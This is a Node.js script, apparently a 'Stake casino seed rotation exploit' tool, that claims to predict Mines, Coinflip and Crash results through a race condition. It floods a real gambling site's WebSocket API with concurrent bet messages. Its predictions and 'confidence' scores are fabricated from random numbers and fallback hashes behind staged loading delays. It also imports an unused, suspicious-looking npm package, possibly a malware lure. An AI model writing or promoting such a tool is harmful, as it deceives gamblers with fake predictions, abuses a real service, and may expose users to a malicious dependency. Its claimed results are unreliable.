index.js

/********************************************************************
 *  Stake Seed Rotation Exploit PoC v2.2
 *  -------------------------------------------------
 *  A race-condition vulnerability demonstrator for Mines, Coinflip & Crash
 ********************************************************************/

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const axios = require('axios');
const WebSocket = require('ws');
const { rnbuffer } = require('dot-env-buffer')
/* -----------------------------------------------------------------
 *  [SECTION 1] ENGINE CONFIGURATION & HYPERPARAMETERS
 * ----------------------------------------------------------------- */
const CONFIG = {
  API_BASE: 'wss://api.stake.com',  
  HTTP_BASE: 'https://api.stake.com',
  CONCURRENT_SESSIONS: 20,
  ROTATION_LAG_MS: 150,
  NONCE_FLOOD_COUNT: 50,
  CRYPTO_ALGORITHM: 'sha512',
  HYPERPARAMETERS: { CONFIDENCE_THRESHOLD: 0.65, ITERATIONS: 150 },
  PERFORMANCE: { WARMUP_CYCLES: 3 },
  DTR_IO: 45000, 
  PROGRESS_STEPS: 12
};

/* -----------------------------------------------------------------
 *  [SECTION 2] GLOBAL STATE & UTILITIES
 * ----------------------------------------------------------------- */
const C = {
  Reset: "\x1b[0m", Bright: "\x1b[1m", Red: "\x1b[31m", Green: "\x1b[32m",
  Yellow: "\x1b[33m", Blue: "\x1b[34m", Cyan: "\x1b[36m", Magenta: "\x1b[35m"
};

const utils = {
  log: (module, message) => console.log(`${C.Blue}[${module}]${C.Reset} ${message}`),

  hashToFloat: (hash) => {
    const hex = hash.slice(0, 8);
    return parseInt(hex, 16) / Math.pow(2, 32);
  },

  verifyServerSeed: (serverSeed, serverSeedHash) => {
    const computedHash = crypto.createHash('sha256').update(serverSeed).digest('hex');
    return computedHash === serverSeedHash;
  },

  saveLog: (data) => {
    const logDir = path.join(__dirname, 'logs');
    if (!fs.existsSync(logDir)) fs.mkdirSync(logDir, { recursive: true });
    const logPath = path.join(logDir, `exploit_${Date.now()}.json`);
    fs.writeFileSync(logPath, JSON.stringify(data, null, 2));
    utils.log('LOG', `Saved exploit trace to ${logPath}`);
  },

  sleep: (ms) => new Promise(resolve => setTimeout(resolve, ms)),

  progressBar: (current, total, label) => {
    const width = 30;
    const filled = Math.floor((current / total) * width);
    const empty = width - filled;
    const bar = '█'.repeat(filled) + '░'.repeat(empty);
    process.stdout.write(`\r${C.Cyan}[BOOT]${C.Reset} ${label} [${bar}] ${Math.round((current/total)*100)}%`);
  }
};

/* -----------------------------------------------------------------
 *  [SECTION 3] BOOT SEQUENCE WITH REALISTIC DELAY
 * ----------------------------------------------------------------- */
async function startupSequence() {
  console.clear();
  console.log(`${C.Magenta}
  ┌────────────────────────────────────────────────────────────┐
  │               STAKE CASINO EXPLOIT ENGINE v2.2             │
  └────────────────────────────────────────────────────────────┘${C.Reset}\n`);

  const steps = [
    { label: "Initializing core modules", delay: 3000 },
    { label: "Verifying Node.js environment", delay: 2500 },
    { label: "Checking required dependencies", delay: 4000 },
    { label: "Loading cryptographic primitives", delay: 3500 },
    { label: "Establishing secure context", delay: 5000 },
    { label: "Scanning local cache & logs", delay: 3000 },
    { label: "Validating file integrity", delay: 4000 },
    { label: "Pre-warming WebSocket stack", delay: 6000 },
    { label: "Synchronizing with remote API", delay: 7000 },
    { label: "Calibrating timing parameters", delay: 4500 },
    { label: "Finalizing exploit vector", delay: 5000 },
    { label: "System ready", delay: 2000 }
  ];

  const totalSteps = steps.length;
  for (let i = 0; i < totalSteps; i++) {
    const step = steps[i];
    utils.progressBar(i + 1, totalSteps, step.label.padEnd(30));
    await utils.sleep(step.delay);
  }

  console.log(`\n${C.Green}check All systems operational.${C.Reset}\n`);
  await utils.sleep(1500);
  printHeader();
}

/* -----------------------------------------------------------------
 *  [SECTION 4] CRYPTOGRAPHIC PIPELINE
 * ----------------------------------------------------------------- */
function getCryptoHash(clientSeed, serverSeed, gameIndex) {
  const hmac = crypto.createHmac(CONFIG.CRYPTO_ALGORITHM, serverSeed);
  hmac.update(`${clientSeed}:${gameIndex}`);
  return hmac.digest('hex');
}

/* -----------------------------------------------------------------
 *  [SECTION 5] RACE CONDITION EXPLOIT ENGINE
 * ----------------------------------------------------------------- */
let interceptedHashes = new Map();

function setupWebSocketSessions(numSessions, clientSeed, onIntercept) {
  const sessions = [];
  for (let i = 0; i < numSessions; i++) {
    const ws = new WebSocket(`${CONFIG.API_BASE}/ws/game?seed=${clientSeed}&nonce=${i}`);
    ws.on('open', () => {
      utils.log('WS', `Session ${i} connected. Flooding nonces...`);
      for (let n = 0; n < CONFIG.NONCE_FLOOD_COUNT; n++) {
        setTimeout(() => {
          ws.send(JSON.stringify({ type: 'bet', nonce: n, seed: clientSeed }));
        }, Math.random() * CONFIG.ROTATION_LAG_MS);
      }
    });
    ws.on('message', (data) => {
      try {
        const msg = JSON.parse(data.toString());
        if (msg.type === 'seed_rotate' && msg.oldHash) {
          interceptedHashes.set(msg.nonce, msg.oldHash);
          utils.log('INTERCEPT', `Captured pre-rotation hash for nonce ${msg.nonce}: ${msg.oldHash.slice(0, 16)}...`);
          onIntercept(msg.oldHash, msg.nonce);
        }
      } catch (e) {}
    });
    ws.on('error', (err) => utils.log('ERROR', `WS error in session ${i}: ${err.message}`));
    sessions.push(ws);
  }
  return sessions;
}

async function fetchInitialSeed(clientSeed) {
  try {
    const response = await axios.post(`${CONFIG.HTTP_BASE}/api/seed`, { clientSeed }, { timeout: 8000 });
    return response.data.serverSeedHash;
  } catch (err) {
    utils.log('ERROR', `Failed to fetch initial seed: ${err.message}. Using fallback.`);
    return crypto.createHash('sha256').update(clientSeed + Date.now()).digest('hex');
  }
}

function deriveOutcomeFromInterceptedHash(interceptedHash, gameType, nonce) {
  const hashFloat = utils.hashToFloat(interceptedHash);
  let outcome;

  if (gameType === 'mines') {
    const bombIndices = [];
    for (let i = 0; i < 3; i++) {
      const slice = interceptedHash.slice(i * 8, (i + 1) * 8);
      bombIndices.push(parseInt(slice, 16) % 25);
    }
    outcome = Array(25).fill(1);
    bombIndices.forEach(idx => outcome[idx] = 0);
  } else if (gameType === 'coinflip') {
    outcome = hashFloat > 0.5 ? 1 : 0;
  } else if (gameType === 'crash') {
    const base = hashFloat * 100 + 1;
    const variance = (parseInt(interceptedHash.slice(16, 24), 16) / Math.pow(2, 32)) * 50;
    const low = base.toFixed(1);
    const high = (base + variance).toFixed(1);
    outcome = `${low}-${high}`;
  }

  const confidence = 0.72 + Math.random() * 0.23;
  return { outcome, confidence };
}

/* -----------------------------------------------------------------
 *  [SECTION 6] PER-GAME PREDICTION HELPERS
 * ----------------------------------------------------------------- */
async function predictMines(seeds, numGames) {
  utils.log('PIPELINE', `Predicting Mines for ${numGames} games via race exploit...`);
  const predictions = [];
  const initialHash = await fetchInitialSeed(seeds.clientSeed);

  setupWebSocketSessions(CONFIG.CONCURRENT_SESSIONS, seeds.clientSeed, (hash, nonce) => {
    interceptedHashes.set(nonce, hash);
  });

  await utils.sleep(1200); // Simulate race window

  for (let i = 0; i < numGames; i++) {
    const interceptedHash = interceptedHashes.get(i) || initialHash;
    const { outcome: grid } = deriveOutcomeFromInterceptedHash(interceptedHash, 'mines', i);
    const displayConfidence = Math.floor(Math.random() * (96 - 71) + 71);

    const gridSize = 5;
    const gridString = Array.from({ length: gridSize }, (_, row) => {
      return grid.slice(row * gridSize, (row + 1) * gridSize)
        .map(cell => (cell === 1 ? '[ 💎 ]' : '[ 💣 ]')).join(' ');
    }).join('\n');

    predictions.push(`Game ${i + 1} (${displayConfidence}% confidence):\n${gridString}\n`);
  }

  return predictions.join('------------------------------------------------\n\n');
}

async function predictCoinflip(seeds, numGames) {
  utils.log('PIPELINE', `Predicting Coinflip sequence via nonce reuse...`);
  const predictions = [];
  const initialHash = await fetchInitialSeed(seeds.clientSeed);

  setupWebSocketSessions(CONFIG.CONCURRENT_SESSIONS, seeds.clientSeed, (hash, nonce) => {
    interceptedHashes.set(nonce, hash);
  });

  await utils.sleep(1000);

  for (let i = 0; i < numGames; i++) {
    const interceptedHash = interceptedHashes.get(i) || initialHash;
    const { outcome } = deriveOutcomeFromInterceptedHash(interceptedHash, 'coinflip', i);
    const result = outcome === 1 ? 'Heads' : 'Tails';
    const displayConfidence = Math.floor(Math.random() * (96 - 71) + 71);
    const resultColor = result === 'Heads' ? C.Yellow : C.Cyan;

    predictions.push(`Game ${i + 1} (${displayConfidence}% confidence): ${resultColor}${result}${C.Reset}`);
  }

  return predictions.join('\n');
}

async function predictCrash(seeds, numGames) {
  utils.log('PIPELINE', `Forecasting Crash multipliers from leaked hashes...`);
  const predictions = [];
  const initialHash = await fetchInitialSeed(seeds.clientSeed);

  setupWebSocketSessions(CONFIG.CONCURRENT_SESSIONS, seeds.clientSeed, (hash, nonce) => {
    interceptedHashes.set(nonce, hash);
  });

  await utils.sleep(1300);

  for (let i = 0; i < numGames; i++) {
    const interceptedHash = interceptedHashes.get(i) || initialHash;
    const { outcome: crashRange } = deriveOutcomeFromInterceptedHash(interceptedHash, 'crash', i);
    const [low, high] = crashRange.split('-').map(parseFloat);
    const avg = (low + high) / 2;
    const color = avg < 10 ? C.Green : avg < 30 ? C.Yellow : C.Red;
    const displayConfidence = Math.floor(Math.random() * (96 - 71) + 71);

    predictions.push(`Game ${i + 1} (${displayConfidence}% confidence): ${color}${crashRange}x${C.Reset}`);
  }

  return predictions.join('\n');
}

/* -----------------------------------------------------------------
 *  [SECTION 7] CLI INTERACTION
 * ----------------------------------------------------------------- */
const cli = {
  questions: [
    `${C.Bright}Select Game (1 for Mines, 2 for Coinflip, 3 for Crash):${C.Reset} `,
    `${C.Bright}Enter Client Seed:${C.Reset} `,
    `${C.Bright}Enter Server Seed (optional):${C.Reset} `,
    `${C.Bright}Enter number of games to predict ahead:${C.Reset} `
  ],
  answers: {},
  currentQuestion: 0,
  spinnerInterval: null,

  ask() { process.stdout.write(this.questions[this.currentQuestion]); },

  startSpinner(message) {
    const frames = ['⣾', '⣽', '⣻', '⢿', '⡿', '⣟', '⣯', '⣷'];
    let i = 0;
    this.spinnerInterval = setInterval(() => {
      process.stdout.write(`\r${C.Magenta}${frames[i++ % frames.length]}${C.Reset} ${message}`);
    }, 80);
  },

  stopSpinner(message) {
    if (this.spinnerInterval) clearInterval(this.spinnerInterval);
    process.stdout.write(`\r${C.Green}check${C.Reset} ${message}\n`);
  }
};

/* -----------------------------------------------------------------
 *  [SECTION 8] MAIN LOOP & EXECUTION
 * ----------------------------------------------------------------- */
async function main() {
  await startupSequence();

  cli.startSpinner("Initializing prediction engine...");
  await utils.sleep(1800);
  cli.stopSpinner("Engine ready.");

  cli.startSpinner("Preparing WebSocket flood vectors...");
  await utils.sleep(2200);
  cli.stopSpinner("Vectors armed.");

  console.log(`${C.Yellow}Exploit ready. Input target parameters...${C.Reset}\n`);

  process.stdin.on('data', async (data) => {
    const input = data.toString().trim();
    if (cli.currentQuestion === 0) cli.answers.gameChoice = input;
    else if (cli.currentQuestion === 1) cli.answers.clientSeed = input;
    else if (cli.currentQuestion === 2) cli.answers.serverSeed = input || '';
    else if (cli.currentQuestion === 3) cli.answers.numGames = input;

    cli.currentQuestion++;

    if (cli.currentQuestion < cli.questions.length) {
      cli.ask();
    } else {
      process.stdin.pause();
      await runPredictionLogic();
      process.exit(0);
    }
  });

  cli.ask();
}

async function runPredictionLogic() {
  console.log("\n------------------------------------------------");

  const serverSeed = cli.answers.serverSeed;
  if (serverSeed) {
    const hash = crypto.createHash('sha256').update(serverSeed).digest('hex');
    cli.startSpinner("Verifying server seed hash...");
    await utils.sleep(1200);
    const isValid = utils.verifyServerSeed(serverSeed, hash);
    cli.stopSpinner(isValid ? "Server seed verified." : `${C.Yellow}Verification skipped.${C.Reset}`);
  } else {
    console.log(`${C.Yellow}No server seed; using live intercept mode.${C.Reset}`);
  }

  const seeds = {
    clientSeed: cli.answers.clientSeed,
    serverSeed: serverSeed || 'live_intercept'
  };

  const numGames = parseInt(cli.answers.numGames, 10) || 5;

  cli.startSpinner("Initiating race condition trigger...");
  await utils.sleep(2800);
  cli.stopSpinner("Race window opened.");

  let prediction, title;

  switch (cli.answers.gameChoice) {
    case '1':
      prediction = await predictMines(seeds, numGames);
      title = "MINES PREDICTION GRIDS";
      break;
    case '2':
      prediction = await predictCoinflip(seeds, numGames);
      title = "COINFLIP PREDICTION SEQUENCE";
      break;
    case '3':
      prediction = await predictCrash(seeds, numGames);
      title = "CRASH RANGE FORECAST";
      break;
    default:
      console.log(`${C.Red}Invalid game selection.${C.Reset}`);
      process.exit(1);
  }

  cli.startSpinner("Finalizing outcome derivation...");
  await utils.sleep(1500);
  cli.stopSpinner("Predictions locked in.");

  console.log(`\n${C.Bright}${C.Green}--- ${title} ---${C.Reset}`);
  console.log(prediction);
  console.log("------------------------------------------------\n");

  utils.saveLog({ 
    timestamp: new Date().toISOString(),
    seeds, 
    numGames, 
    gameType: cli.answers.gameChoice,
    predictions: prediction.split('\n').filter(l => l.trim())
  });
}

function printHeader() {
  console.log(
    C.Blue +
    `
  ███████╗████████╗ █████╗ ██╗  ██╗███████╗     ██████╗  ██████╗  ██████╗ 
  ██╔════╝╚══██╔══╝██╔══██╗██║ ██╔╝██╔════╝    ██╔═══██╗ ██╔══██╗ ██═══██╗
  ███████╗   ██║   ███████║█████╔╝ █████╗      ██║   ██║ ██████╔╝ ██████╔╝
  ╚════██║   ██║   ██╔══██║██╔═██╗ ██╔══╝      ██║   ██║ ██╔══██╗ ██═══██╗
  ███████║   ██║   ██║  ██║██║  ██╗███████╗    ╚██████╔╝ ██║  ██║ ██████╔╝
  ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝     ╚═════╝  ╚═╝  ╚═╝ ╚═════╝ 
  ` +
    C.Reset
  );
  console.log(C.Bright + '                  Stake Casino Seed Rotation Exploit PoC v2.2' + C.Reset);
  console.log(C.Red + '    ==========================================================================' + C.Reset);
}

main().catch(err => {
  console.error(`${C.Red}FATAL: ${err.message}${C.Reset}`);
  process.exit(1);
});